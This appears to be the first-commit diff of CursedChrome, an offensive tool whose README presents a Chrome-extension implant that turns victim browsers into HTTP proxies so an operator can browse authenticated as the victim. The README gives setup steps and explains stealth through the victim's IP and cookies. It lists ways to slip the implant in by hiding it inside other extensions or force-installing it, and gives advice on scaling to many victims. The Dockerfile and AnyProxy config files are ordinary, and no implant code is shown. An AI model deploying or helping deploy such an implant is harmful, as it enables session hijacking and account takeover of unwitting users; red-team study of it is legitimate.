first commit

Author: Matthew Bryant (mandatory)

.gitignore

@@ -0,0 +1,4 @@
+node_modules/*
+.DS_Store
+*.key
+*.crt

Dockerfile

@@ -0,0 +1,33 @@
+FROM node:12.16.2-stretch
+
+RUN mkdir /work/
+WORKDIR /work/
+COPY package.json /work/
+COPY package-lock.json /work/
+RUN npm install
+
+COPY ./anyproxy /work/anyproxy/
+RUN /work/anyproxy/bin/anyproxy-ca --generate
+RUN mkdir /work/ssl/
+RUN cp /root/.anyproxy/certificates/rootCA.crt /work/ssl/
+RUN cp /root/.anyproxy/certificates/rootCA.key /work/ssl/
+
+# Copy over and build front-end
+COPY gui /work/gui
+WORKDIR /work/gui
+RUN npm install
+RUN npm run build
+
+WORKDIR /work/
+
+COPY utils.js /work/
+COPY api-server.js /work/
+COPY server.js /work/
+COPY database.js /work/
+COPY docker-entrypoint.sh /work/
+
+RUN npm install -g nodemon
+
+ENTRYPOINT ["/work/docker-entrypoint.sh"]
+#ENTRYPOINT ["node", "/work/server.js"]
+#ENTRYPOINT ["tail", "-f", "/dev/null"]

README.md

@@ -0,0 +1,109 @@
+# CursedChrome
+
+## What is it?
+A ([cursed](https://knowyourmeme.com/memes/cursed-image)) Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies. By using the proxies this tool creates you can browse the web authenticated as your victim for all of their websites.
+
+More and more companies are moving toward the ["BeyondCorp"](https://en.wikipedia.org/wiki/BeyondCorp) model (e.g. no flat internal network, zero trust everything). This is usually implemented via a [reverse proxy/OAuth wall](https://github.com/bitly/oauth2_proxy) gating access to services, eliminating the need for a VPN. With more and more access becoming strictly available via the web browser, having a way to easily hijack and use victim's web sessions becomes an ever increasing necessity.
+
+This is especially useful for locked down orgs that make use of [Chrome OS](https://en.wikipedia.org/wiki/Chrome_OS) where traditional malware can't be used at all. It's also steathy, as all requests will have the appropriate source-IP, cookies, client-certificates, etc since it's being proxying directly through the victim's browser.
+
+## Screenshots
+
+### Web Admin Panel
+![](./images/cursed-chrome-web-panel.png)
+
+### Browsing Websites Logged In as Victim (using Firefox with HTTP Proxy)
+![](./images/browsing-as-victim-browser.png)
+
+## (Rough) Infrastructure Diagram (`docker-compose` Used)
+
+![](./images/cursedchrome-diagram.png)
+
+### Ports & Listening Interfaces
+
+- `127.0.0.1:8080`: HTTP proxy server (using one of the credentials in the admin panel, you can auth to a specific victim's Chrome browser via this HTTP proxy server). You also need to install the generated CA available via the admin panel before using this.
+- `127.0.0.1:4343`: Websocket server, used for communicating with victim Chrome instances to transfer HTTP requests for proxying and sending commands.
+- `127.0.0.1:8118`: Admin web panel for viewing victim Chrome instances and getting HTTP proxy credentials.
+
+
+## Requirements
+
+* [`docker`](https://docs.docker.com/get-docker/) and [`docker-compose`](https://docs.docker.com/compose/install/)
+* Chrome web browser
+
+## Setting Up the Backend
+
+The backend is entirely dockerized and can be setup by running the following commands:
+
+```
+cd cursedchrome/
+# Start up redis and Postgres containers in the background
+docker-compose up -d redis db
+# Start the CursedChrome backend
+docker-compose up cursedchrome
+```
+
+Once you start up the backend you'll see an admin username and password printed to the console. You can log into the admin panel at `http://localhost:8118` using these credentials (you will be prompted to change your password upon logging in since the one printed to the console is likely logged). 
+
+## Installing the CursedChrome CA for Proxying HTTPS
+
+Once you have the backend setup, log in to the admin panel at `http://localhost:8118` (see above) and click the `Download HTTPS Proxy CA Certificate` button. This will download the generated CA file which is required in order to proxy HTTPS requests.
+
+You will need to install this CA into your root store, the following are instructions for various OS/browsers:
+
+* [OS X/Mac](https://www.sslsupportdesk.com/how-to-import-a-certificate-into-mac-os/)
+* [Windows](https://www.sslsupportdesk.com/how-to-enable-or-disable-all-puposes-of-root-certificates-in-mmc/)
+* [Linux](https://thomas-leister.de/en/how-to-import-ca-root-certificate/)
+* [Firefox (any OS)](https://support.securly.com/hc/en-us/articles/360008547993-How-to-Install-Securly-s-SSL-Certificate-in-Firefox-on-Windows)
+
+## Setting Up the Example Chrome Extension Implant
+
+To install the example chrome extension implant, do the following:
+
+* Open up a Chrome web browser and navigate to `chrome://extensions`.
+* Click the toggle in the top-right corner of the page labeled `Developer mode` to enable it.
+* Click the `Load unpacked` button in the top-left corner of the page.
+* Open the `extension/` folder inside of this repo folder.
+* Once you've done so, the extension will be installed.
+
+*Note:* You can debug the implant by clicking on the `background page` link for the text `Inspect views background page` under the `CursedChrome Implant` extension.
+
+After you've install the extension it will show up on the admin control panel at `http://localhost:8118`.
+
+## Modifying Implant Extension
+
+An example implant extension has been included under the `extension/` folder. This extension has the `extension/src/bg/background.js` file which has the extension-side of the implant that connects to the service via WebSocket to proxy requests through the victim's web browser.
+
+The following [extension permissions](https://developer.chrome.com/extensions/api_index) are needed by the implant to operate:
+
+```
+"permissions": [
+	"webRequest",
+	"webRequestBlocking",
+	"<all_urls>"
+]
+```
+
+This code contains comments on how to modify it for a production setup. Basically doing the following:
+
+* Minifying/stripping/uglifying the JavaScript code
+* Modifying the WebSocket connection URI in the `initialize()` function to point to the host you've set up the backend on. By default it's set to `ws://localhost:4343` which will work with the out-of-the-box dev setup described in this README. 
+
+In a real world attack, this extension code would be used in one of the following ways:
+
+* Injected into an existing extension with proper permissions via Chrome debugging protocol.
+* Hidden inside of another extension
+* Force-installed via Chrome enterprise policy
+
+These topics are outside of the scope of this README, but eventually will be covered separately.
+
+## Notes on Production Deployments
+
+* You will likely want to run an Nginx server with a valid HTTPS certificate doing a `proxy_pass` to the WebSocket server (running on `127.0.0.1:4343`). Then you'll have TLS-encrypted websocket traffic.
+* For a more secure setup, don't expose the HTTP proxy & and admin panel to the Internet directly. Opt for SSL port-forwarding or using a bastion server to connect to it.
+* For situations with a large number of victims/bots/implants running, you can horizontally scale out the CursedChrome server as wide as you need to. The socket handling is completely decoupled via `redis`, so it can suppose (theoretically) tens of thousands of concurrent clients. 
+
+## Attributions
+
+* The icon used for the web panel favicon and the example Chrome implant extension is provided by Freepik from `www.flaticon.com`.
+* The [AnyProxy source code](https://github.com/alibaba/anyproxy) was heavily modified and used for part of this project.

anyproxy/.babelrc

@@ -0,0 +1,6 @@
+{
+  "presets": [
+    "es2015",
+    "stage-0"
+  ]
+}

anyproxy/.eslintignore

@@ -0,0 +1,7 @@
+node_modules
+dist
+web
+web2
+resource
+*.sh
+docs

anyproxy/.eslintrc

@@ -0,0 +1,75 @@
+{
+  "extends": "airbnb",
+  "parser": "babel-eslint",
+  "env": {
+    "browser": true,
+    "node": true,
+    "es6": true,
+    "jasmine": true
+  },
+  "globals": {
+    "React": true,
+    "ReactDOM": true,
+    "Zepto": true,
+    "JsBridgeUtil": true
+  },
+  "rules": {
+    "semi": [0],
+    "comma-dangle": [0],
+    "global-require": [0],
+    "no-alert": [0],
+    "no-console": [0],
+    "no-param-reassign": [0],
+    "max-len": [0],
+    "func-names": [0],
+    "no-underscore-dangle": [0],
+    "no-unused-vars": ["error", { "vars": "all", "args": "none", "ignoreRestSiblings": false }],
+    "object-shorthand": [0],
+    "arrow-body-style": [0],
+    "no-new": [0],
+    "strict": [0],
+    "no-script-url": [0],
+    "spaced-comment": [0],
+    "no-empty": [0],
+    "no-constant-condition": [0],
+    "no-else-return": [0],
+    "no-use-before-define": [0],
+    "no-unused-expressions": [0],
+    "no-class-assign": [0],
+    "new-cap": [0],
+    "array-callback-return": [0],
+    "prefer-template": [0],
+    "no-restricted-syntax": [0],
+    "no-trailing-spaces": [0],
+    "import/no-unresolved": [0],
+    "jsx-a11y/img-has-alt": [0],
+    "camelcase": [0],
+    "consistent-return": [0],
+    "guard-for-in": [0],
+    "one-var": [0],
+    "react/wrap-multilines": [0],
+    "react/no-multi-comp": [0],
+    "react/jsx-no-bind": [0],
+    "react/prop-types": [0],
+    "react/prefer-stateless-function": [0],
+    "react/jsx-first-prop-new-line": [0],
+    "react/sort-comp": [0],
+    "import/no-extraneous-dependencies": [0],
+    "import/extensions": [0],
+    "react/forbid-prop-types": [0],
+    "react/require-default-props": [0],
+    "class-methods-use-this": [0],
+    "jsx-a11y/no-static-element-interactions": [0],
+    "react/no-did-mount-set-state": [0],
+    "jsx-a11y/alt-text": [0],
+    "import/no-dynamic-require": [0],
+    "no-extra-boolean-cast": [0],
+    "no-lonely-if": [0],
+    "no-plusplus": [0],
+    "generator-star-spacing": ["error", {"before": true, "after": false}],
+    "require-yield": [0],
+    "arrow-parens": [0],
+    "no-template-curly-in-string": [0],
+    "no-mixed-operators": [0]
+  }
+}

anyproxy/CHANGELOG

@@ -0,0 +1,142 @@
+22 Dec 2016: AnyProxy 4.0.0-beta:
+
+    * to AnyProxy rules: all the rule interfaces are asynchronous now, you can write them in a Promise way
+    * to the UI, rewrite the code and enhance the user experience
+
+26 Feb 2016: AnyProxy 3.10.4:
+
+   * let users assign the port for web socket in AnyProxy cli
+
+19 Sep 2016: AnyProxy 3.10.3:
+
+    * fix the cert path issue with Windows
+    * split out the cert management to an independent module
+    * add unit tests to AnyProxy
+
+29 Apr 2016: AnyProxy 3.10.0:
+
+    * using node-forge to generate HTTPS certificates instead of openssl
+
+29 Apr 2016: AnyProxy 3.9.1:
+
+    * update SHA1 to SHA256 for openssl certificates
+
+19 Nov 2015: AnyProxy 3.8.1:
+
+    * bugfix for image content in web GUI
+
+19 Nov 2015: AnyProxy 3.8.1:
+
+    * bugfix for image content in web GUI
+
+16 Nov 2015: AnyProxy 3.8.0:
+
+    * optimize the memory strategy
+
+2 Oct 2015: AnyProxy 3.7.7:
+
+    * bugfix for proxy.close() ref #36
+
+9 Sep 2015: AnyProxy 3.7.6:
+
+    * optimize detail panel, ref #35
+
+3 Sep 2015: AnyProxy 3.7.5:
+
+    * bugfix for intercepting urls like http://a.com?url=http://b.com
+
+19 Aug 2015: AnyProxy 3.7.4:
+
+    * bugfix for intercepting urls like http://a.com?url=http://b.com
+
+31 July 2015: AnyProxy 3.7.3:
+
+    * show lastest 100 records when visit the web ui
+    * save map-local config file to local file
+    * show an indicator when filter or map-local is in use
+
+31 July 2015: AnyProxy 3.7.2:
+
+    * bugfix for issue #29
+
+28 July 2015: AnyProxy 3.7.1:
+
+    * fix a bug about deflate compression
+
+20 July 2015: AnyProxy 3.7.0:
+
+    * add a map-local panel on web ui, now you can easily map some request to your local files
+
+1 July 2015: AnyProxy 3.6.0:
+
+    * add a filter on web ui
+
+1 July 2015: AnyProxy 3.5.2:
+
+    * optimize the row height on web ui
+
+18 June 2015: AnyProxy 3.5.1:
+
+    * print a hint when using SNI features in node <0.12
+    * Ref : https://github.com/alibaba/anyproxy/issues/25
+
+18 June 2015: AnyProxy 3.5.0:
+
+    * it's a formal release of 3.4.0@beta.
+
+27 Apr 2015: AnyProxy 3.4.0@beta:
+
+    * optimize web server and web socket interface
+
+20 Apr 2015: AnyProxy 3.3.1:
+
+    * now you can assign your own port for web gui
+
+31 Mar 2015: AnyProxy 3.3.0:
+
+    * optimize https features in windows
+    * add switch to mute the console
+
+20 Mar 2015: AnyProxy 3.2.5:
+
+    * bugfix for internal https server
+
+19 Mar 2015: AnyProxy 3.2.4:
+
+    * bugfix for absolute rule path
+
+23 Feb 2015: AnyProxy 3.2.2:
+
+    * [bugfix for relative rule path](https://github.com/alibaba/anyproxy/pull/18)
+
+10 Feb 2015: AnyProxy 3.2.1:
+
+    * bugfix for 3.2.0
+
+10 Feb 2015: AnyProxy 3.2.0:
+
+    * using SNI when intercepting https requests
+
+28 Jan 2015: AnyProxy 3.1.2:
+
+    * thanks to iconv-lite, almost webpage with any charset can be correctly decoded in web interface.
+
+28 Jan 2015: AnyProxy 3.1.1:
+
+    * convert GBK to UTF8 in web interface
+
+22 Jan 2015: AnyProxy 3.1.0:
+
+    * will NOT intercept https request by default. Use ``anyproxy --intercept`` to turn on this feature.
+
+12 Jan 2015: AnyProxy 3.0.4:
+
+    * show anyproxy version by --version
+
+12 Jan 2015: AnyProxy 3.0.3:
+
+    * Bugfix: https throttle
+
+9 Jan 2015: AnyProxy 3.0.2:
+
+    * UI improvement: add link and qr code to root CA file.